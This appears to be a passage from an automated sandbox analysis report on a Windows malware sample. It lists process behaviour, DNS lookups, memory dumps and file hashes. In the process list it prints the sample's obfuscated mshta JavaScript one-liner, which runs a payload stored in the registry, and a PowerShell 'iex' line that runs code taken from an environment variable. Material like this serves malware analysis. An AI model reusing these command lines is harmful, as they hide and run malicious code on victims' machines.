PID 2696 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe
PID 1032 wrote to memory of 4716 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1032 wrote to memory of 4716 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1032 wrote to memory of 4716 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7eb2d009c7361067bd31077957682245_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:Y57LkRaY="8YUEfu";nL46=new%20ActiveXObject("WScript.Shell");KO72Mi="iz";p90FYR=nL46.RegRead("HKLM\\software\\Wow6432Node\\M73fv5kgc6\\UcDFQhFqt");q3fFI7Tzq="cGzB1";eval(p90FYR);zo46xAG="DFe3t";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:mjga

Network

Country Destination Domain Proto
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
NL 23.62.61.129:443 www.bing.com tcp
US 8.8.8.8:53 129.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 82.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 209.143.182.52.in-addr.arpa udp

Files

memory/2056-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2056-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2056-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2056-10-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-9-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-7-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-6-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-8-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-11-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/2056-12-0x00000000009A0000-0x0000000000A76000-memory.dmp

memory/4716-14-0x0000000002E30000-0x0000000002E66000-memory.dmp

memory/4716-15-0x0000000005800000-0x0000000005E28000-memory.dmp

memory/4716-16-0x0000000005780000-0x00000000057A2000-memory.dmp

memory/4716-17-0x0000000005F60000-0x0000000005FC6000-memory.dmp

memory/4716-18-0x0000000005FD0000-0x0000000006036000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mfug31kx.gla.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4716-28-0x0000000006040000-0x0000000006394000-memory.dmp

memory/4716-29-0x0000000006540000-0x000000000655E000-memory.dmp

memory/4716-30-0x00000000065F0000-0x000000000663C000-memory.dmp

memory/4716-31-0x0000000007CE0000-0x000000000835A000-memory.dmp

memory/4716-32-0x0000000007600000-0x000000000761A000-memory.dmp